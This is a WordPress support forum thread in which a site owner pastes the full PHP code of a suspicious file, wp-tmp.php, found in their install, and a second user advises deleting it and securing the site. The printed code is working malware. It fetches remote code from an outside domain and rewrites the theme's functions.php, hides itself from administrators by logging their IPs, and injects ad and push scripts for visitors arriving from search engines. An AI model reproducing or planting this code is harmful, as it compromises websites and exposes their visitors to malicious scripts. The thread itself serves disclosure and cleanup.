Title: Unknown file in WordPress core: wp-includes/wp-tmp.php
Last modified: February 4, 2018

---

# Unknown file in WordPress core: wp-includes/wp-tmp.php

 *  [hydragt](https://wordpress.org/support/users/hydragt/)
 * (@hydragt)
 * [8 years, 7 months ago](https://wordpress.org/support/topic/unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/)
 * Here’s the code within wp-tmp.php:
 *     ```
       ini_set('display_errors', 0);
       error_reporting(0);
       $wp_auth_key='87b83c0568dfdee2d0d59bf8a221c00e';
   
       //echo "rrrr".get_template_directory();
       $file=file_get_contents(get_template_directory().'/functions.php');
   
       $pat_code='/div_code_name[\s\S]*?(if \( ! function_exists[\s\S]*?extract\([\s\S]*?)\?>/i';
       if(preg_match_all($pat_code, $file, $matches_pat_code))
   
       {
   
       $toreplace=$matches_pat_code[1][0];
       //echo $toreplace;
   
       $newxc=file_get_contents('http://www.dolsh.cc/new4.txt');
   
       if (stripos($newxc, $wp_auth_key) !== false) 
       {
       $new_file=str_replace($toreplace,$newxc,$file);
       @file_put_contents(get_template_directory().'/functions.php',$new_file);
       }
   
       }
   
       //@file_put_contents($funcfile,$file);
   
       if ( ! function_exists( 'slider_option' ) ) {  
       function slider_option($content){ 
       if(is_single())
       {
   
       $con2 = '
   
       <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
   
       <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
   
       ';
   
       $content=$content.$con2;
       }
       return $content;
       } 
   
       function slider_option_footer(){ 
       if(!is_single())
       {
   
       $con2 = '
   
       <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
   
       <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
   
       ';
   
       echo $con2;
       }
       } 
   
       function setting_my_first_cookie() {
         setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
         }
   
       if(is_user_logged_in())
       {
       add_action( 'init', 'setting_my_first_cookie',1 );
       }
   
       if( current_user_can('edit_others_pages'))
       {
   
       if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
       {
       $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
       }
   
       if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
       {
       $ip.=$_SERVER['REMOTE_ADDR'].'
       ';
       @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
   
       }
   
       }
   
       $ref = $_SERVER['HTTP_REFERER'];
       $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
       foreach ($SE as $source) {
         if (strpos($ref,$source)!==false) {
           setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
       	$sevisitor=true;
         }
       }
   
       if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) 
       {
       $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
       if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
       {
       if($sevisitor==true || isset($_COOKIE['sevisitor']))
       {
       add_filter('the_content','slider_option');
       add_action('wp_footer','slider_option_footer');
       }
   
       }
       } 
   
       }
       ```
   

Viewing 1 replies (of 1 total)

 *  [George Appiah](https://wordpress.org/support/users/gappiah/)
 * (@gappiah)
 * [8 years, 7 months ago](https://wordpress.org/support/topic/unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/#post-9935417)
 * What’s your question?
 * If you didn’t put the file there… ANY file at all irrespective of the content,
   just delete it and take steps to secure your site.
 * See this post where someone had the same suspicious file: [https://wordpress.org/support/topic/warnings-unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/](https://wordpress.org/support/topic/warnings-unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/)

Viewing 1 replies (of 1 total)

 The topic ‘Unknown file in WordPress core: wp-includes/wp-tmp.php’ is closed to
new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 1 reply
 * 2 participants
 * Last reply from: [George Appiah](https://wordpress.org/support/users/gappiah/)
 * Last activity: [8 years, 7 months ago](https://wordpress.org/support/topic/unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/#post-9935417)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics